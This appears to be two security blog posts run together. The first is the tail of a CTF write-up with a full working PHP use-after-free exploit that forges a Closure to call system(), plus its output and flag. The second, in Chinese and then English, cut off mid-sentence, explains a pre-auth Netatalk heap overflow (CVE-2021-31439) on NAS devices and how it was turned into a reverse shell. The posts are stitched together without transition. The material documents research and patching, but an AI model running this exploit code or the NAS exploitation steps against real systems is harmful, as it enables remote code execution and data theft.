            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }
        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr) . "\n\n";
        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        
        ($this->helper->b)($cmd);
    }

    private function leak_heap() {
		$contiguous = [];
     		for ($i = 0; $i < 10; $i++) {
				$contiguous[] = $this->alloc(0x100, "D");
     		}
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", 0x100);
        });
        $arr[1] .= $this->alloc(0x4A, "F");
        return $this->str2ptr($buf, 16);
    }

    private function free($var_addr) {

        $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = $this->alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }


    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6700/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                    continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8-0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0);
        return false;
    }
}

new exploit("id");
?>

Fire in the hole!

➜  concat-exploit php blog05.php 
[+] Concated string address:
0x7f9e2c07a070
[+] Placeholder string address:
0x7f9e2c07a150
[+] std_object_handlers:
0x564fde7127c0
[+] Closure:
0x7f9e2c05ce00
[+] basic_funcs:
0x564fde70c760
[+] zif_system:
0x564fdd925e1b
[+] Fake Closure addr:
0x7f9e2c07a240

uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

Epilogue

If you run the exploit in our environment, you will notice that it does not work. We built the exploit for a slighly different PHP version and all our tests were executed via PHP-CLI. The changes needed are:

  1. Move the 0x100 used in the str_repeat() to a constant. We are still atonished about this poltergeist.
  2. Change the “needle” used to identify the basic_functions array. From 0x6e69623278656800 to 0x73006e6962327865.
  3. Change the offset in the get_system() in 0x20, so the -0x10 should be a +0x10

The final exploit is:

<?php



class Helper { public $a, $b, $c, $d; }  //alloc(0x4F)

class exploit {
    const FILL = 0x100;
    public function __construct($cmd) {
        
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);


        $fake_obj_offset = 0xd8;

        for ($i = 0; $i < 0x110; $i += 8) {
            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }

        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);

        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        print "\nYour commnad, Sir:\n"; 
        print ($this->helper->b)($cmd);
    }


    private function leak_heap() {
        $contiguous = [];
        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", self::FILL);
        });
        $arr[1] .= $this->alloc(0x4F-5, "F");
        return $this->str2ptr($buf, 16);
    }
    private function free($var_addr) {

        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr, &$payload) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }

    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6900/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x73006e6962327865){ // 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex  
        continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry,8);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8+0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0); 
        return false;
    }
}

new exploit("cat /flag");

?>

Upload and execute it:

AdeptsOf0xCC{PHP_is_the_UAF_land}
AdeptsOf0xCC{PHP_is_the_UAF_land}

EoF

We hope you enjoyed this challenge!

Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Your NAS is not your NAS !

27 March 2022 at 16:00

English Version 中文版本

前年我們在 Synology 的 NAS 中發現了 Pre-auth RCE 的漏洞(CVE-2021-31439),並在 Pwn2Own Tokyo 中取得了 Synology DS418 play 的控制權,而成功獲得 Pwn2Own 的點數,後續也發現這個漏洞不只存在 Synology 的 NAS,也同時存在多數廠牌的 NAS 中,這篇研究將講述這漏洞的細節及我們的利用方式。

此份研究亦發表於 HITCON 2021,你可以從這裡取得投影片!

Network Attached Storage

早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。

現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。

Motivation

為何我們要去研究 NAS 呢 ?

紅隊需求

過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。

勒索病毒

近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。

Pwn2Own Mobile 2020

最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

我們的測試環境是 DS918+ 與 Pwn2own 目標極為類似的型號,我們為了更佳符合平常會遇到的環境以及 Pwn2Own 中要求,會是全部 default setting 的狀態。

Attack surface

首先可先用 netstat 看 tcp 和 udp 中有哪些 port 是對外開放,可以看到 tcp 及 udp 中 在 default 環境下,就開了不少服務,像是 tcp 的 smb/nginx/afpd 等

而 udp 中則有 minissdpd/findhost/snmpd 等,多數都是一些用來幫助尋找設備的協定。

我們這邊挑了幾個 Service 做初步的分析

DSM Web interface

首先是 DSM Web 介面,最直覺也最直接的一部分,這部分大概也會是最多人去分析的一塊,有明顯的入口點,在古老時期常有 command injection 漏洞,但後來 Synology 有嚴格規範後徹底改善這問題,程式也採用相對保守的方式開發,相對安全不少。

SMB

Synology 中的 SMB 協定,使用的是 Open Source 的 Samba ,因使用的人眾多,進行 code review 及漏洞挖掘的人也不少,使得每年會有不少小洞,近期最嚴重的就是 SambaCry,但由於較多人在 review 安全性相對也比其他服務安全。

iSCSI Manager

主要協助使用者管理與監控 iSCSI 服務,由 Synology 自行開發,近期算比較常出現漏洞的地方,但需要花不少時間 Reverse ,不過是個不錯的目標,如果沒有其他攻擊面,可能會優先分析。

Netatalk

最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。

我們經過整體分析後, 認為 Netatalk 也會是 Synology 中最軟的一塊,且有 Source code 可以看,所以我們最後決定先分析他。當然也還有其他 service 跟攻擊面,不過這邊由於篇幅因素及並沒有花太多時間去研究就不一一分析介紹了。我們這次的重點就在於 Netatalk。

Netatalk

Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。

Netatalk in Synology

Synology 中的 netatalk 是預設開啟,版本是改自 3.1.8 的 netatalk,並且有在定期追蹤安全性更新,只要剛裝好就可以用 afp 協定來與 Synology NAS 分享檔案,而 binary 本身保護有 ASLR/NX/StackGuard。

DSI

講漏洞之前,先帶大家來看一下 netatalk 中,部分重要結構,首先是 DSI,Netatalk 在連線時是使用的 DSI (Data Stream interface) 來傳遞資訊,Server 跟 Client 都是通過 DSI 這個協定來溝通,每個 connection 的 packet 都會有 DSI 的 header 在 packet 前面

DSI Packet Header :

DSI 封包中內容大致上會如上圖所示,會有 Flag/Command 等等 metadata 以及 payload 通常就會是一個 DSI Header + payload 的結構

AFP over DSI :

afp 協定的通訊過程大概如上圖所示,使用 AFP 時,client 會先去拿 server 資訊,來確定有哪些認證的方式還有使用的版本等等資訊,這個部分可以不做,然後會去 Open Session 來,開啟新的 Session,接著就可以執行 AFP 的 command ,但在未認證之前,只可以做登入跟登出等相關操作,我們必須用 login 去驗證使用者身份,只要權限沒問題接下來就可像 SMB 一樣做檔案操作

在 Netatalk 實作中,會用 dsi_block 作為封包的結構

dsi_block :

  • dsi_flag 就是指該 packet 是 request or reply
  • dsi_command 表示我們的 request 要做的事情
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

在 netatalk 中,除了原始封包結構外,也會將封包及設定檔 parse 完後,將大部分的資訊,存放到另外一個名為 DSI 結構中,例如 server_quantum 及 payload 內容等,以便後續的操作。

而封包中的 Payload 會存放在 DSI 中 command 的 buffer 中,該 buffer 大小,取自於 server_quantum,該數值則是取自於 afp 的設定檔 afp.conf 中。

如果沒特別設定,則會取用 default 大小 0x100000。

有了初步了解後,我們可以講講漏洞。

Vulnerability

我們發現的漏洞就發生在,執行 dsi command 時,讀取 payload 內容發生了 overflow,此時並不需登入就可以觸發。問題函式是在 dsi_stream_receive

這是一個將接收到封包的資訊 parse 後放到 DSI 結構的 function,這個 function 接收封包資料時,會先根據 header 中的 dsi_len 來決定要讀多少資料到 command buffer 中,而一開始有驗證dsi_cmdlen 不可超過 server quantum 也就是 command buffer 大小。

然而如上圖黃匡處,如果有給 dsi_doff ,則會將 dsi_doff 作為 cmdlen 大小,但這邊卻沒去檢查是否有超過 command buffer。

使得 dsi_strem_read 以這個大小來讀取 paylaod 到 command buffer 中,此時 command buffer 大小為 0x100000,如果 dsi_doff 大小超過 0x100000 就會發生 heap overflow。

Exploitation

由於是 heap overflow,所以我們這邊必須先理解 heap 上有什麼東西可以利用,在 DSM 中的 Netatalk 所使用的 Memory Allocator 是 glibc 2.20,而在 glibc 中,當 malloc 大小超過 0x20000 時,就會使用 mmap 來分配記憶體空間,而我們在 netatalk 所使用的大小則是 0x100000 超過 0x20000 因此會用 mmap 來分配我們的 command buffer。

因為是以 mmap 分配的關係,最後分配出來的空間則會在 Thread Local Storage 區段上面,而不是在正常的 heap segment 上,如上圖的紅框處。

afpd 的 memory layout 如上圖所示,上述紅框那塊就是,紅色+橘色這區段,在 command buffer 下方的是 Thread-local Storage。

Thread-local Storage

Thread-local Storage(TLS) 是用來存放 thread 的區域變數,每個 thread 都會有自己的 TLS,在 Thread 建立時就會分配,當 Thread 結束的時候就會釋放,而 main thread 的 TLS 則會在 Process 建立時就會分配,如前面圖片中的橘色區段,因此我們可利用 heap overflow 的漏洞來覆蓋掉大部分存放在 TLS 上的變數。

Target in TLS

事實上來說 TLS 可控制 RIP 的變數有不少,這邊提出幾個比較常見的

  • 第一個是 main arena,主要是 glibc 記憶體管理個結構,改 main arena 可以讓記憶體分配到任意記憶體位置,做任意寫入,但構造上比較麻煩。
  • 第二個是 pointer guard 可藉由修改 pointer guard 來改變原本呼叫的 function pointer ,但這邊需要先有 leak 跟知道原本 pointer guard 的值才能達成
  • 第三個則是改 tls_dtor_list ,不須 leak 比較符合我們現在的狀況

Overwrite tls_dtor_list

這技巧是由 project zero 在 2014 所提出的方法,覆蓋 TLS 上的 tls_dtor_list 來做利用,藉由覆蓋該變數可在程式結束時控制程式流程。

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

這邊就稍微提一下這個方法,tls_dtor_list 是個 dtor_list object 的 singly linked list 主要是存放 thread local storage 的 destructor,在 thread 結束時會去看這個 linked list 並去呼叫 destructor function,我們可藉由覆蓋 tls_dtor_list 指向我們所構造的 dtor_list。

而當程式結束呼叫 exit() 時,會去呼叫 call_tls_dtors() ,該 function 會去取 tls_dtor_list 中的 object 並去呼叫每個 destructor,此時如果我們可以控制 tls_dtor_list 就會去使用我們所構造的 dtor_list 來呼叫我們指定的函式。

但在新版本和 synology 的 libc 中,dtor_list 的 function pointer 有被 pointer guard 保護,導致正常情況下,我們並不好利用,一樣需要先 leak 出 pointer guard 才能好好控制 rip 到我們想要的位置上。

但有趣的是 pointer guard 也會在 TLS 上,他會存在 TLS 中的 tcbhead_t 結構中,如果我們 overflow 夠多,也可以在 overflow tls_dtor_list 的同時,也將 pointer guard 也一併清掉,這樣就可以讓我們不用處理 pointer guard 問題。

先來講講 tcbhead_t 這結構,這個結構主要是 Thread Control Block (TCB),有點類似 Windows 中的 TEB 結構 是 thread 的 descriptor,主要會用來存放 thread 的各種資訊,而在 x86_64 的 Linux 架構的 usermode 下,fs 暫存器會指向這位置,每當我們要存取 thread local variable 時,都會透過 fs 暫存器去 存取,我們可以看到 TCB 結構會有 stack guard 及 pointer guard 等資訊,也就是說當我們在拿 pointer guard 時,也是用 fs 暫存器從這個結構取出的。

我們回頭看一下 TLS 上的結構分佈,可以看到 tls_dtor_list 後方就是這個,tcbhead_t 結構。只要我們 overflow 夠多就可以蓋掉 pointer guard,然而此時會出現另外一個問題。

因為 stack guard 在 pointer guard 前,當我們蓋掉 pointer guard 的同時,也會蓋掉 stack guard。那麼蓋掉 stack guard 會有什麼影響呢?

在我們呼叫 dsi_stream_receive() 時,因為有開啟 stack guard 保護的關係,會先從 TLS 上,取得 stack guard 放在 stack 上,等到我們呼叫 dsi_stream_read 去 trigger overflow 且蓋掉 pointer guard 及 stack guard 後,在 dsi_stream_receive() 返回時,會去檢查 stack guard 是否與 TLS 中的相同,但因為這時候的 TLS 的 stack guard 已經被我們蓋掉了,導致檢查不通過而中止程式,就會造成我們無法利用這個技巧來達成 RCE。

Bypass stack guard

在 netatalk(afpd) 的架構中,事實上每次連線都會 fork 一個新的 process 來 handle 使用者的 request,而 Linux 中的 process 有個特性是 fork 出來的 process,memory address 及 stack gurad 等都會與原先的 parent process 相同,因此我們可以利用 CTF 常見的招式,一個 byte 一個 bytes brute-force 的方式來獲得 stack guard 。

Brute-force stack guard

基本概念是 在 overflow 之後,我們可以只蓋 TLS 中的 stack guard 最尾端一個 byte ,每次連線都蓋不同的 byte,一旦與 stack guard 不同,就會因為 abort 而中斷連線,我們可依據連線的中斷與否,判斷我們所覆蓋的數值是否與 stack guard 相同。

以上圖來說,我們假設 stack guard 是 0xdeadbeeffacebc00,由於 stack guard 特性,最低一個 byte 一定會是 0 ,這邊從第二個 byte 蓋起,這邊可以先蓋 00 試看看連線是否被中斷,如果被中斷代表蓋的數值是錯的,接下來我們就測其他數值看看有沒有中斷,依此類推,測到 0xbc 發現沒有中斷,代表第二個 byte 是 0xbc,接下來就繼續蓋第三 byte ,一樣從 0x00 蓋到沒中斷,直到蓋滿 8 bytes 的 stack guard 都沒中斷連線後,我們就可以知道 stack guard 的值是什麼,接下來我們就可以解決 stack guard 問題。

Construct the _dtor_list to control RIP

在解決 stack guard 問題後,netatalk 已可正常運作,接下來我們需要構造 _dtor_list 結構並結束程式來控制 RIP,在當時的 synology 的 afpd 中並沒有開啟 PIE,我們可以在 afpd 的 data 段中,構造 _dtor_list

剛好在使用 dhx2 method 的 login 功能中,會將我們要登入的 username 複製到 global 的 buffer 中,所以我們可以將這結構跟著 username 一起寫入固定的已知位置。

在一切都構造完成後,我們這邊可以觸發正常功能的 DSICloseSession 即可觸發 exit()

tls_dtor_list in Synology

在 reverse 後,發現 synology 的 glibc 中,會使用 __tls_get_addr() 來取得 tls_dtor_list,並非直接存取 tls_dtor_list 這個全域變數,而這函式的取得方式則會從前述 tcbhead_t 中先取 div 欄位後,再取得其中的 tls_dtor_list ,因此我們需要連同 tcb->div 一起構造在固定位置,另外一點是 Synology 的 afpd 中並沒有 system 可用,但事實上有 execl 可以使用,只是參數稍微複雜一點而已。

最後我們構造的結構如上圖所示,我們將 tcb 及 dtor_list 結構都構造在 username buffer 中,觸發 exit() 後,就會去執行 execl 並取得反連 shell。

Remark

在一般的 Netatalk 中,是會啟用 PIE ,不太容易在已知位置構造 _dtor_list,實際上也可以用類似方法 leak 出 libc 位置,依舊是 exploitable,該漏洞不只影響 Synology 也會影響到大部分有使用 Netatalk 的設備。

Other vendor

我們測試了許多家有使用到 Netatalk 的廠商,發現不少家有存在類似的問題,部分是 unexploitable 但也有部分是 exploitable。我們這邊實測了 QNAP 及 Asustor,皆有成功獲得 shell。

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system

Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system

QNAP 及 Asustor 兩家 NAS 都沒有開啟 Stack guard,不需 brute-force 即可獲得反連 shell。

這個漏洞在 Synology 尚未修補時,只要 default 裝好就可以利用,不需任何認證,而 QNAP 及 Asustor 雖然不是預設開啟,但不少有使用 Mac 的用戶,還是會為了方便把它打開,基本上只要是 NAS 幾乎都會用到 Netatalk,絕大多數的 NAS 都有影響,只要有開啟 Netatalk,攻擊者可以利用這個漏洞打下大部分的 NAS。你的 NAS 就再也不會是你的 NAS。

我們後來也從 shodan 上發現,其實也有非常多人將 netatalk 開在外網,光在 shodan 上就有 13 萬台機器,其中大部分是 Synology。

Mitigation

Update

目前上述三台皆已修補,請尚未更新的用戶更新到最新

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

該漏洞也在近期釋出的 Netatalk 3.1.13 版本中修復,如有使用到 Netatalk 3.1.13 以前版本,也請務必更新。

Disable AFP

  • 沒使用 AFP 時,最好直接關掉或只限制在內網存取。該 project 幾乎已經很少維護,繼續使用風險極高。
  • 改用 SMB 相對安全
    • 如果想要用類似功能,建議可使用 SMB 相對安全不少,但只能說相對安全,不能說絕對沒問題,建議還是將相關服務都開在內網就好,沒用到的能關就關

Summary

我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!

未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。

To be continue

事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。

Your NAS is not your NAS !

27 March 2022 at 16:00

English Version 中文版本

Two years ago, we found a critical vulnerability, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.

This research is also presented at HITCON 2021. You can check the slides here.

Network Attached Storage

In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.

Motivation

Why do we want to research NAS?

Red Team

While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.

Ransomware

NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.

Pwn2Own Mobile 2020

The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.

Attack surface

First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.

In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.

We selected a few services for preliminary analysis.

DSM Web interface

The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.

SMB

The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.

iSCSI Manager

It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.

Netatalk

The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.

After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.

Netatalk

Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.

Netatalk in Synology

The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.

DSI

Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.

DSI Packet Header :

The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.

AFP over DSI :

The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.

In Netatalk implementation, dsi_block will be used as the packet structure.

dsi_block :

  • dsi_flag means that the packet is a request or reply
  • dsi_command indicates what our request does
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.

The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.

If not specified, it uses the default size(0x100000).

With a preliminary understanding, let’s talk about this vulnerability.

Vulnerability

The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.

It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.

However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.

